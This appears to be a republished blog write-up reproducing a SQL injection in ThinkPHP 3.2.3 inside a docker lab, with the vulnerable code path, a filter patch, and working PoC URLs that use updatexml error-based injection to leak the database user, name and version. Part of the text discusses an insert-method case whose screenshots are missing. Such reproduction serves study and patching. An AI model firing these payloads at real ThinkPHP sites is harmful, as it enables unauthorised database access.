ref: ThinkPHP Builder.php SQL injection vulnerability (<= 3.2.3)

ThinkPHP Builder.php SQL Injection Vulnerability (<= 3.2.3)

ref:https://www.jianshu.com/p/18d06277161e

TimeSHU  2018.04.21 02:03 * word count 761 read 23 comments 2

A vulnerability reproduction job for ThinkPHP Builder.php SQL injection vulnerability (<= 3.2.3)

-------------------------------------------------------------

1. Enter the docker internal environment description
service docker start;
docker ps; list current containers
docker exec -it 9b96ee2b /bin/bash;//9b96ee2b为container_id
 
2. Actual debug stack and parameter passing:
/var/www/html# more index.php
// To enable debug mode, it is recommended to enable the deployment phase comments in the development phase or set it to false; it is convenient to print the log.
define('APP_DEBUG',True);
 
The following is an analysis of the update injection according to the docker environment provided by TimeSHU.

这是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))

category是数组:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"

Error stack information:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E('1105:XPATH synt...').
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think /Db/Driver.class.php(906): Think\Db\Driver->execute('UPDATE `vulapps...', false)
UPDATE `vulapps_message` SET `is_read`='1' WHERE `category` = ' 1' and(updatexml(1,concat(0x7e,(user())),0))//Although the front is false, it still needs to be executed later. The error reported this time: XPATH syntax error: '~root@localhost'.

/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql语句:return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))

Vulnerable code:

protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,( user())),0))" } , then exp=bind
}elseif('bind' == $exp ){ //
$whereStr .= $key.' = :'.$val[1];// $whereStr.=category=:0 and (updatexml...) : 0 is spliced ​​in here, creating an opportunity for the subsequent pdo parameter replacement.
It can be seen here that if where is an array, and the first element is bind, then the splicing operation is performed directly. Here we see that the filtering limit of the I function does not exclude bind.

#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }

#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition['category'] = I("category");
$data['is_read'] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition['category'])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }

#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):

Patch method: add bind filtering in the I function.

 

function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){$value.=' ';}

 

-------------------------------------------------------------

Vulnerable environment: docker

Vulnerability Analysis

First of all, we know that there is a vulnerability in the insert method, then look at the specific implementation of the insert method.

This method is located in the thinkphp\library\think\db\Builder.php file, we can see that the parseData method is called at the beginning of the function, and $data is passed in as a parameter, and the value of $data is passed in through get An array of data, as shown below:

 

 

We follow up with the parseData method, which is also in the thinkphp\library\think\db\Builder.php file.

It can be seen that there is a switch statement at the end, and after entering this statement, it will jump to the place of case 'inc'. The key here is to see if $this->parseKey has filtered the $val[1] variable ;

Because the $val[1] variable is the updatexml(1,concat(0x7,user(),0x7e),1) in our payload, as shown below:

 

Continue to follow up the parseValue method, and you will find that the incoming $key is returned directly without any filtering.

 

 

Let's go back to the original insert method, add the debugging statement, and see what the sql statement looks like at this time, as shown below:

 

The injection of another update function is similar to this insert.

 

Use docker to build a vulnerability environment

    1. Pull the image to the local

        docker pull medicean/vulapps:t_thinkphp_1

    2. Start the environment

        docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 The 80 in front of it represents the port of the physical machine, which can be specified at will.

 

use and exploit

    Visit http://192.168.0.104:80/, assuming the port number to start is 80

        The following figure appears, the environment is successfully built

 

Click to mark it as read: You can use burp to capture packets to get the URL

http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

Where there are loopholes: category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

 

POC

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

Use the above POC to get the database username directly

 

 

Exploded database username: root@localhost

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))

 

 

 

Through database(), an error is reported to echo a database: vulapps

 

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))

 

 

Exploded database version: 5.5.57-0ubuntu0.14.04.1

 

I found some information on the Internet, but I still don't understand this very well. I wanted to construct a statement to see if I could get the account and password in the database, but I found that it couldn't be used (embarrassing..)

I don't know much about the above POC, but I can only see that the database user and version can be obtained by modifying user() here.

References:

https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA

 

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=326091597&siteId=291194637